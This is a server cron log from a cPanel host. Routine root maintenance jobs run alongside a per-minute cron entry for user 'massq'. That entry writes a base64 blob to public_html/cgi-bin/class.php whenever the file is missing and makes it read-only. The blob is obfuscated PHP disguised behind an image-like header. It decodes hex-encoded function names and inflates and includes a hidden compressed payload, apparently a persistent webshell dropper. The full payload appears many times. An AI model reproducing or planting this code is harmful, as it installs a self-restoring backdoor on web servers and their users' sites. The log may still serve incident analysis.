Aug 31 21:38:01 server CROND[5409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:38:01 server CROND[5408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:38:01 server CROND[5410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:39:01 server CROND[5782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:39:01 server CROND[5780]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 21:39:01 server CROND[5779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:39:01 server CROND[5781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:40:01 server CROND[6175]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:40:01 server CROND[6176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:40:01 server CROND[6179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:40:01 server CROND[6178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:40:01 server CROND[6181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:40:01 server CROND[6182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:40:01 server CROND[6180]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:40:01 server CROND[6183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:41:01 server CROND[6995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:41:01 server CROND[6996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:41:01 server CROND[6997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:42:01 server CROND[7461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:42:01 server CROND[7463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:42:01 server CROND[7462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:42:01 server CROND[7464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:43:01 server CROND[7831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:43:01 server CROND[7832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:43:01 server CROND[7833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:44:01 server CROND[8202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:44:01 server CROND[8203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:44:01 server CROND[8204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:45:01 server CROND[8582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:45:01 server CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:45:01 server CROND[8588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:45:01 server CROND[8589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 21:45:01 server CROND[8587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:45:01 server CROND[8590]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:45:01 server CROND[8586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:46:01 server CROND[9411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:46:01 server CROND[9412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:46:01 server CROND[9413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:47:01 server CROND[9903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:47:01 server CROND[9904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:47:01 server CROND[9905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:48:01 server CROND[10291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:48:01 server CROND[10292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:48:01 server CROND[10293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:49:01 server CROND[10677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:49:01 server CROND[10678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:49:01 server CROND[10680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:50:01 server CROND[11082]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:50:01 server CROND[11084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 21:50:01 server CROND[11087]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 21:50:01 server CROND[11091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
